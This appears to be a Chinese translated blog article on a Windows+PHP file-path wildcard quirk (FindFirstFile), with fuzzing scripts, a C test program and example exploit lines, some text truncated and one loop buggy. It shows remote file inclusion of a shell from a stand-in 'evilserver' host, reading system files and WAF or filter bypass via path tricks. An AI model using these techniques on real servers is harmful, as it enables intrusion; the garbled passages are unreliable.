php路径爆破,当Windows遇上PHP–路径爆破

1.开场白此次所披露的是以下网页中提出的问题所取得的测试结果:http://code.google.com/p/pasc2at/wiki/SimplifiedChinese<?php

for ($i=0; $i<255; $i++) {

$url = '1.ph' . chr($i);

$tmp = @file_get_contents($url);

if (!empty($tmp)) echo chr($i) . "\r\n";

}

?>已知1.php存在,以上脚本访问的结果是:1.php1.phP1.ph<1.ph>都能得到返回。前两种能返回结果是总所周知的(因为windows的文件系统支持大小的互转的机制),另外的两种返回引起了我们的注意。测试php版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0测试系统:WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3经测试我们得出的结论是:该漏洞影响所有的windows+php版本 2.深入探查模糊测试的结果为了继续深入探查关于该bug的信息,我们对demo做了些许修改:<?php

for ($j=0; $i<256; $j++) {

for ($i=0; $i<256; $i++) {

$url = '1.p' . chr($j) . chr($i);

$tmp = @file_get_contents($url);

if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";

}

}

?>在调试php解释器的过程中,我们将此“神奇”的漏洞归结为一个Winapi 函数FindFirstFile()所产生的结果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是,当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”,字符”

#include

#include

void _tmain(int argc, TCHAR *argv[])

{

WIN32_FIND_DATA FindFileData;

HANDLE hFind;

if( argc != 2 )

{

_tprintf(TEXT("Usage: %s [target_file]\n"), argv[0]);

return;

}

_tprintf (TEXT("Target file is %s\n"), argv[1]);

hFind = FindFirstFile(argv[1], &FindFileData);

if (hFind == INVALID_HANDLE_VALUE)

{

printf ("FindFirstFile failed (%d)\n", GetLastError());

return;

}

else

{

_tprintf (TEXT("The first file found is %s\n"),

FindFileData.cFileName);

FindClose(hFind);

}

}当传入参数”c:\bo”被替换成”?”,这意味这”>”可以替换单个任意字符EXAMPLE:include(‘shell.p>p’);    //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。当调用FindFirstFile()函数时,”””(双引号)被替换成”.”EXAMPLE:include(‘shell”php’);    //===>include(‘shell.php’);如果文件名第一个字符是”.”的话,读取时可以忽略之EXAMPLE:fopen(‘.htacess’);  //==>fopen(‘htacess’);   //加上第一点中的利用 ==>fopen(‘h<  fopen(‘config.ini\./.\.’); ==>fopen(‘config.ini/.’)==>fopen(‘config.ini…..’)   //译者注:此处的利用我不是很理解,有何作用?截断?该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI(远程文件包含)EXAMPLE:include (‘\\evilserver\shell.php’);用以下方法还可以切换文件的盘名include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php’);选择磁盘命名语法可以用来绕过斜线字符过滤file_get_contents(‘C:boot.ini’); //==>  file_get_contents (‘C:/boot.ini’);在php的命令行环境下(php.exe),关于系统保留名文件的利用细节EXAMPLE:file_get_contents(‘C:/tmp/con.jpg’); //此举将会无休无止地从CON设备读取0字节,直到遇到eofEXAMPLE:file_put_contents(‘C:/tmp/con.jpg’,chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音 4.更深入的利用方法除了以上已经展示的方法,你可以用下面的姿势来绕过WAF或者文件名过滤请思考该例:<?php

file_get_contents("/images/".$_GET['a'].".jpg");

//or another function from Table 1, i.e. include().

?>访问test.php?a=../a

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值